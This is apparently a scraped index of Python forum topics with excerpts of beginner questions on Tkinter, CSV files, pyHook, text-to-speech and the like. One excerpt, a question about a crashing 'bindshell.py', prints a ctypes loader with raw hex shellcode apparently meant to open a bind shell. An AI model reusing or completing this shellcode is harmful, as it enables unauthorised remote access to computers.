15,190 Topics
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 | Ich habe hier folgendes Teilstück, wo Daten aus einer Sonde empfangen werden: for i in range(12): err,data=dev.GetData() print data f.write(data) Wenn cih das ausführe bekomme ich die Fehlermedung: expected a character buffer object  |
| | Hi to all, I'm looking for a solution to create a front-end in python for an app. I've some experience with Tk (but it's not fundamental i would like to use wxpython) and standard widget, but now i'm in a project too complicated for me. The app is like a …  |
 | Hi I'm new to Python and have the following problem. I have a excel file (csv format) that I want to open and display as a 2d list. I can read the file but can not get anyother output other than the colum headings as a single letter [h][e][a][d][i][n][g] I …  |
 | Here is a short Python program using the module pygame that lets you play a midi music file. Midi files are instrumental music files that pack a lot of good sound into a small file. They are very popular with web page designers. |
 | I want to print the time in one of my program's but the time is an hour wrong, this is what i'm using. from time import gmtime, strftime strftime("%Y-%m-%d %H:%M:%S", gmtime()) it gives '2013-05-06 09:06:25 ' where the current time is 10:06:25.  |
| | Hello, I am creating a GUI program with PyQt4 in python. The purpose is to be an efficiency tool for my company. I have a GUI, but put all the code in one thread. I have not dealt with threads yet and after 2 weeks of reading up, I still … |
 | I am very new to python. I am making a program to see if certain part of current line is same as that of next line for example perter's age is 16 john's age is 16 Craig's age is 18 I want to see if people's ages are the same …  |
 | Hi Any one know how can I install pyHook module?I get just error Im using python 2.7.3 >>> import pyHook Traceback (most recent call last): File "<pyshell#0>", line 1, in <module> import pyHook ImportError: No module named pyHook C:\Users\bt\Desktop\pyHook-1.5.1\pyHook-1.5.1>python setup.py install running install running build running build_py running build_ext building … |
 | I am trying to install pyHook 1.5.1 for my windows 7 64 bit operating which has python 2.7 installed , but i get this error " python not found in registry" , when i try to type the python path,it does not allow me type into the modal gui ,please … |
| | A somewhat newer look at Peter Parente's pywin32 based speech engine. It will read text on your computer.  |
| | It seems like a simple problem but I can't seem to find the solution. Basically I have a wx.TextCtrl on a wx.ScrolledWindow and I want to expand the TextCtrl to fill the window - a simple editor if you will. I have the "Proportion" as "1" and I've used a … |
 | I was trying to come up with a dictionary of functions, but get it not to work. |
 | Hi. I have a Foo class that stored a dictionary attribute called _data. I'd like the Foo class to have a dictionary interface, and defer most basic dictionary operations down to the _data attribute. I am currently overwriting the magic methods one by one: def __getitem__(self, item): return self._data[item] def … |
| | I am currently working on a translator which translates one document from English to German, I had created it as a GUI application using Tkinter and python 2.7, Here I am facing some problems like 1. Assume that if a person uploads a document 'samp.txt' in the using the upload …  |
 | Hi there. I am fairly new with python and programming altogether. I'm having a problem dividing elements of two lists, and appending the results to a new list. The problem is, the second list may contain a zero, and obviously we can't divide by zero. If it happens that we … |
| | Hi I get this error when I run bindshell.py ? line 29 is shell() "Traceback (most recent call last): File "1-bindshell.py", line 29, in <module> shell() WindowsError: exception: access violation writing 0x00000000022295A0" from ctypes import * shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" … |
| | Helo , I am working actualy on a function that delete a row from a table in a database , it works good with this python code : def supprimer(): global rows global element global listelement idsupprvar = idsuppr_entry.get() db = MySQLdb.connect(host = "localhost", user = "user", passwd = "123456",db … |
 | def GetMemory(title, FSB1, FSB2, FSB3, Rover): word = raw_input("Enter the number of words you want to allocate: ") print "GET_MEMORY IS RUNNING......." print "Initial FSB list" Print (title, fsb1, fsb2, gsb3, rover) if int(word) <= fsb1[2]: # Size of area being returned fsb[2] = fsb[2]-int(word) fsb[1] = fsb[1]+int(word) rover = … |
 | I just noticed that Perl and Python are under the Software Development category, but not Web Development, while Ruby is under Web Dev and not under Software Dev category. Don't get me wrong, they *do* belong where they currently rest, but perhaps a link to Perl, Python and Ruby could … |
| | Hello, I need to write a python script for performing telnet between two windows machine, that is Host and Client. After doing Telnet Successfully I need to run some application on other machine and there in that application I need to give commands via my script aswell after giving command … |
| | Hi, I have a weird requirement and since i have never worked on xml, xsd and python i am not understanding how to go about it. There will be 2 xsd files containing parameters(structure), (may or maynot have)default values for them and range values for them. The xml file will … |
| | hi all.... I'm hoping someone can shed some light onto a project I'm working on. I have an Mdrive 23 step motor that works with a serial terminal. The whole serial terminal is new to me and I'm confused by what it means. I have been able to make the … |
| | I am attempting to learn Python, to add to my collection of languages and to get at least one programming language under my belt. So far I've only done the basics, and to test what I've learnt I made an extremelly simple calculator: #PyCalc Version 1.0 Loop = 0 print("-------------------------------------") … |
| | I am trying to set "myimage" as the background for my GUI but having problems with self.canvas.create_image(myimage,750,450) def __init__(self): self.root=tk.Tk() # The number of times the GUI is updated self.ctr = 0 #creating the Canvas self.canvas = tk.Canvas(self.root, width=750, height=450, bg = "black") #Sets the background as an image myimage=PhotoImage(file='world.gif') … |
| | hey i am working with python 3 and i am trying to set a gif file as my GUI background. The canvas.configure(bg=myimage) does not work. Any ideas? width, height = 800, 500 canvas = tkinter.Canvas(width=width, height=height, bg="black") canvas.pack(fill=None, expand=False) #Sets the backround image myimage = PhotoImage(file='world.gif') canvas.configure(bg=myimage) |
| | Yes, you can let your computer read text to you. The task is relatively easy, if you have Windows on your machine. All you need is Microsoft's speech-API SAPI, the Python Text to Speech module pyTTS, and an updated version of win32com, all free downloads. Here are some experiments with … |
| | Wrote a peice of code that does something uniquc in my point of view. After that i was so excited that i published it. Only to find out that it contain a bug. By the way the bug was very defficul to spot. and by solving the bug i reworte … |
| | this is a very simple app the helps yous to keep track of time. It says the time very 15 minits, by the way you can change it. it uses pyttsx which can be dowloaded and install. copy this code and save it as sayTheTime.pyw and double click it. it … |
| | You can fix one parameter of function call by calling underlying method of fixed parameter instead of using functools.partial or lambda statement. |
| | This code example shows how to create a dictionary with row,column indexed (r,c) key tuples from a typical list of lists 2D matrix. Also an example is shown of the ease of processing the resulting dictionary. |
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